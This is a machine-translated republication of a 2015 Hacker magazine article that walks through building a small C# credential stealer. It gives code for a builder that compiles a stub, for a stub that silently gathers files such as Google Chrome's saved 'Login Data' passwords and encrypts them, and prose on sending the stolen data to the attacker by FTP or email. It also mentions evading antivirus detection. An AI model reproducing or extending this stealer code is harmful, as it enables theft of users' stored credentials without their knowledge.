⬆️ ⬇️

Stealer on C #. We did it in 9 KB executable file





There is such a class of programs designed to receive specific (or whatever) files from the user and send them to specially authorized people. Of course, with the prior written consent of the users mentioned! This class of programs is called Stealer. The brightest representative of them, UFR Stealer has a nice interface, a lot of settings and, due to some kind of misunderstanding, is detected by all known antiviruses. And what would happen if hackers wrote similar programs in C #? Let's fantasize!



For starters, brace yourself and finally upgrade to free Visual Studio Community 2013 :). In the yard in 2015, and sit on the old Visual Studio Express is no longer cool. When you install it, look at the Extensions and updates section and install several useful extensions, such as Resharper or Productivity Power Tools 2013. A free dotPeek decompiler is quite suitable for analyzing the resulting builds. and a file with debugging symbols.



Briefly about the program



  • Able to take specified files, encrypt and send to FTP or email.
  • Written using the 22nd pattern of the GOF catalog “Template Method”, it is very easy to expand the range of items for shipment. At the exit exe 9 kb.
  • Only the builder himself can open the received container (serialized <Name, Data> dictionary), decrypt and remove the saved files.
  • The key is hardcore.
  • The icon does not ask, it does not run from the Aver.


We set tasks and define requirements.



So, let's try to guess how hackers think at this stage. For them, the problem is that the user has files that are of interest not only to him. Perhaps the user does not even know that they exist and where they are precisely located, but this does not make it easier for hackers. We must somehow get a copy of them and see what is inside - who knows, maybe this is exactly what you need?

')

In order not to disturb the user by their actions, not to interrupt his serials and not to interfere with social networking, hackers add certain functionality to their programs. Their programs are small and silently do their work (silent mode). The target platform for today usually choose Windows 7 and higher versions. XP is a good thing, but it is losing ground, and, according to one well-known anti-virus developer, its share at the end of 2015 will be only 16-17%.



We design and construct





Solution Explorer



On TV they say that hackers always sit at computers in masks and gloves :). So that they are not so hot to program, let's set the task: the program must be really small. Both by the number of lines of code, and by the size of the executable file. So, in Visual Studio we create a new window application and define several namespaces (namespace):



It is necessary not to be confused about which class is where to invest and, accordingly, where to look for it then. Actually there will not be so many classes themselves, basically these are various implementations of the AbstractFile abstraction (the 22nd pattern from the GOF “Template method”). Here is his code:



namespace Stealer.Targets { abstract class AbstractFile { public byte[] DoJob() { return IsExist() ? GetFile() : null; } public abstract bool IsExist(); public abstract byte[] GetFile(); } } 


The main idea of ​​this class is to form the structure of the algorithm, which will already be implemented in Google Chrome, ICQ, Skype and so on.



Yes, a small addition. In this example, the application logic is inside the Form shared class, if you want to additionally implement a console or WPF interface, you should take it out separately and subscribe to the group of expected events. More information about the correct architecture can be found in Steve McConnell (Code complete).



Interface





Mainform



On the window created in the designer, the menu, three combo boxes, two buttons, six textboxes with labels and eleven checkboxes are snapped up. The approximate grouping and arrangement of these elements is shown in the picture. The style of the window is set to “dialogue” so that it cannot be expanded to full screen. Icon to taste, the network has archives with thousands of copies for every taste. The subscription will be implemented for three events, namely, clicking on the button Check all, BUILD and the menu item "& OpenFile ...". At this the design of the visual part of the application ends, moving on.



The code under the buttons could be quite trivial, but, as they say, it was not there. Excerpt from BUILD:



 var replaceAdd = new StringBuilder(); var replaceClass = new StringBuilder(); var checkedBoxes = this.AllControls<CheckBox>().Where(c => !c.Text.Contains("-")).Where(c => c.Checked); foreach (CheckBox checkBox in checkedBoxes) { string className = checkBox.Text; replaceAdd.AppendLine(string.Format(@"_filesList.Add(new {0}());", className)); var item = GetResource(string.Format(@"Stealer.Targets.{0}.cs", className)); replaceClass.AppendLine(CutTheClass(item)); } stub.Replace(@"//[Add_toList]", replaceAdd.ToString()); stub.Replace(@"//[Class]", replaceClass.ToString()); 


Using standard tools, you can go through the collection of active checkboxes, but why is it so easy to write when there are beautiful solutions on the Stack Overflow pages? This explains the appearance of an additional namespace for the peep extension method, where it is located (on the advice of Trey Nash in Accelerated C # 2010). The key to this decision is also that all classes that implement abstraction are nested application resources (hereinafter shown how to do this) and have the same name as the text on the checkboxes. Therefore, all you need to do is run through all the active elements and collect their names, simultaneously adding to the collection and replacing the label in the stub class, // [Add_toList] to add to the List and // [Class] to determine the classes themselves. The FTP address, password, login and data for the mail are implemented as standard - received text from the control and inserted it into a stub.



Getting the resources themselves is as follows. An instance of var assembly = Assembly.GetExecutingAssembly () is created, and the Stream stream = assembly.GetManifestResourceStream (resourceName) reads the data to the end and returns a string of text. The variable resourceName has the value @ "Stealer.STUB.Stub.cs" which corresponds to the full path to the location of the specified file. Similarly, we work with other elements of the solution, in the code this line looks like this: "@" Stealer.Targets. {0} .cs ", className", where className is the name of the class and the text on the checkbox.



The task of the Check all button is to control checkmarks for all purposes at once. This is implemented through the private field of the Form class of a boolean type and one method that takes this value as an argument, applying it to each checkbox. The event handler reads the value of the specified field and is passed to the method; upon its completion, it changes to the opposite.



Go to the "& OpenFile ...". Here you will have to run a little ahead, before reading I recommend to familiarize yourself with the section "Stub". The code in this handler is organized in the standard way, OpenFileDialog opens and receives the full file name (containing the path), reads it in the FileStream and copies it into the MemoryStream so that you can decode the bytes. As a result, we have the source stream, which must be deserialized (Deserialize) into the dictionary created in the stub Dictionary <string, byte []>. It turns out that the object was transferred over the network, which retained its state. The advantages are that it works well, you do not need to use the archiving code, and only the hacker or his friends reversers will be able to read the intermediate result. This is followed by the preservation of the dictionary contained in the operative memory on the HDD, here the line that sets the file name is useful. Implemented this action through foreach by “KeyValuePair <string, byte []> item in _files”, in the body of the loop there are two lines: the first “string filePath = string.Format (folderPath + @" \ {0} ", item.Key) ; "And ends its entry with" File.WriteAllBytes (filePath, item.Value); ". Everything is laconic and beautiful.



Stub



This is the class that will be compiled into a separate executable assembly using an instance of CSharpCodeProvider and the CompileAssemblyFromSource method. In order for it to become available for reading in runtime, you need to specify Build Action = Embedded Resource in its parameters (F4), and in a line below Do not copy. To prevent the studio from swearing at the two Main methods, Startup object = Stealer.Program is specified in the project settings, this is for the case when the “Stab” class is not a resource and you can analyze the code for errors. Now let's look at the sample code.



 namespace Stealer.STUB ... public class Stub { private static List<AbstractFile> _filesList = new List<AbstractFile>(); public static void Main(string[] args) { DoJob(); } private static void DoJob() { //[Add_toList] Dictionary<string, byte[]> _files = new Dictionary<string, byte[]>(); foreach (AbstractFile targetFile in _filesList) { var data = targetFile.DoJob(); if (data != null) { _files.Add(targetFile.ToString(), data); } } using (MemoryStream memoryStream = new MemoryStream()) { BinaryFormatter formatter = new BinaryFormatter(); formatter.Serialize(memoryStream, _files); byte[] encodedBytes = Encrypt(memoryStream.ToArray()); if (_sendViaFtp) { SendViaFtp(encodedBytes); } if (_sendViaEmail) { SendViaEmail(encodedBytes); } } } } //[Class] 


First of all, you should pay attention to the fact that all the main work is performed using the generalized List collection and abstraction. All elements of the collection apkastiyutsya to an abstract class, and on their copies of the method called DoJob, which checks whether the desired file, and, if the answer is yes, he tries to get it. Next, each received file is placed in the Dictionary <string, byte []> collection, which stores the name of the program containing the file, and the data itself as an array of bytes. After traversing the entire List collection and filling the Dictionary, the latter is serialized, then encrypted, and finally sent via the specified communication channel.



The listing does not display the SendViaFtp and SendViaEmail methods, examples of which will be shown below, the Encrypt method (in fact, the specific implementation does not matter, any symmetric algorithm is chosen), the AbstractFile class and class fields that will store logins, passwords and encryption. That's all, nothing more interesting and new in the stub is not.



File Acquisition Algorithm



Thanks to the Template Method pattern, it became very easy to design classes for searching and retrieving files, you can add dozens of new ones, and you will not need to make any changes to the code using them, that is, stub. The caller doesn’t care what and how is implemented inside, this business is called abstracting execution options. For example, let's look at the implementation of the GoogleChrome class, from the name of which you can guess what it should find and copy.



 namespace Stealer.Targets ... class GoogleChrome : AbstractFile { private string _path = null; public override bool IsExist() { string userNamePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); _path = string.Format(@"{0}\Google\Chrome\User Data\Default\Login Data", userNamePath); return File.Exists(_path); } public override byte[] GetFile() { string pathCopy = Path.GetTempPath() + Path.GetRandomFileName(); File.Copy(_path, pathCopy); byte[] data = File.ReadAllBytes(pathCopy); File.Delete(pathCopy); return data; } public override string ToString() { return "GoogleChrome"; } } 


The ToString method is redefined to make the stub dictionary easier to fill in and analyze upon receipt. Other file search classes look identical, the only difference is in the path and, possibly, additional checks depending on the type of storage. In order not to forget which methods need to be implemented from the inherited class, or simply to shorten the time of keyboard input, you can click the AbstractFile with the mouse and wait for the promise to implement an abstract class, which automatically builds the necessary code.



No programming



To find out how much you can add in the program without much effort and how to save a lot of time on personal research, the hacker helps Password Secrets of Popular Windows Applications , it carefully laid out information about the location of files of interest and utilities for analysis.


File Algorithm





Sendviaftp



As can be seen in the picture of the main form of the application, this part will discuss the example of the implementation of sending via FTP and email. Let's start with the first. In the FtpWebRequest constructor, a URL is set from the textbox of the main form that was inserted into its label in the stub. The name of the transferred file is also added to it, which is used as Environment.UserName in conjunction with Path.GetRandomFileName. This is done to ensure that users with the same name do not overwrite each other. The transport method is set in the WebRequestMethods.Ftp.UploadFile, and is specified by NetworkCredential (_ftpUser, _ftpPass) by analogy with the URL. The efficiency of the method is checked on local FTP, for this smallftpd 1.0.3 was used.





Sendviaemail



At first, there were some problems with the mail, and all because of changes in the connection rules (for more information, read here: “Using SmtpClient to send mail through an SMTP server” ). The formation of the letter begins with an attachment, and since the array of bytes is passed to the method for sending, the Attachment constructor waits for the MemoryStream, we translate it into the MemoryStream at the beginning of the method, using the using directive. The file name is set in the same way as FTP. In the MailMessage message itself, the From, Subject, Body, Sender, To properties are initialized, and the Attachments.Add (attachment) call completes the baton, adding the created attachment. This is followed by an instance of SmtpClient, which is filled similarly to the message. Finally, the string smtpClient.Send (mail); sends the generated letter to the mail server.



Conclusion



Today, we fantasized about how a C # Stealer might look like, looked at its possible internal structure and its goals. I note that during the experiments, my antivirus began to give an alarm only when the Encrypt method was added, before the program could send a file via FTP anywhere. With the advent of the mailing option, the name of the defined "Malvari" changed to "Trojan" ... but about how hackers struggle with this, read in previous releases] [in the article about cryptors :).



DVD



Sortsy project are waiting for you on dvd.xakep.ru. In order not to overly please scripts and not to annoy the servants of the law, they are not compiled directly. We'll have to fix some minimal errors. So all sins are on your conscience!


image



First published in the magazine "Hacker" from 02/2015.

Posted by: Dywar, mrdywar@gmail.com



Subscribe to "Hacker"

Source: https://habr.com/ru/post/244467/



All Articles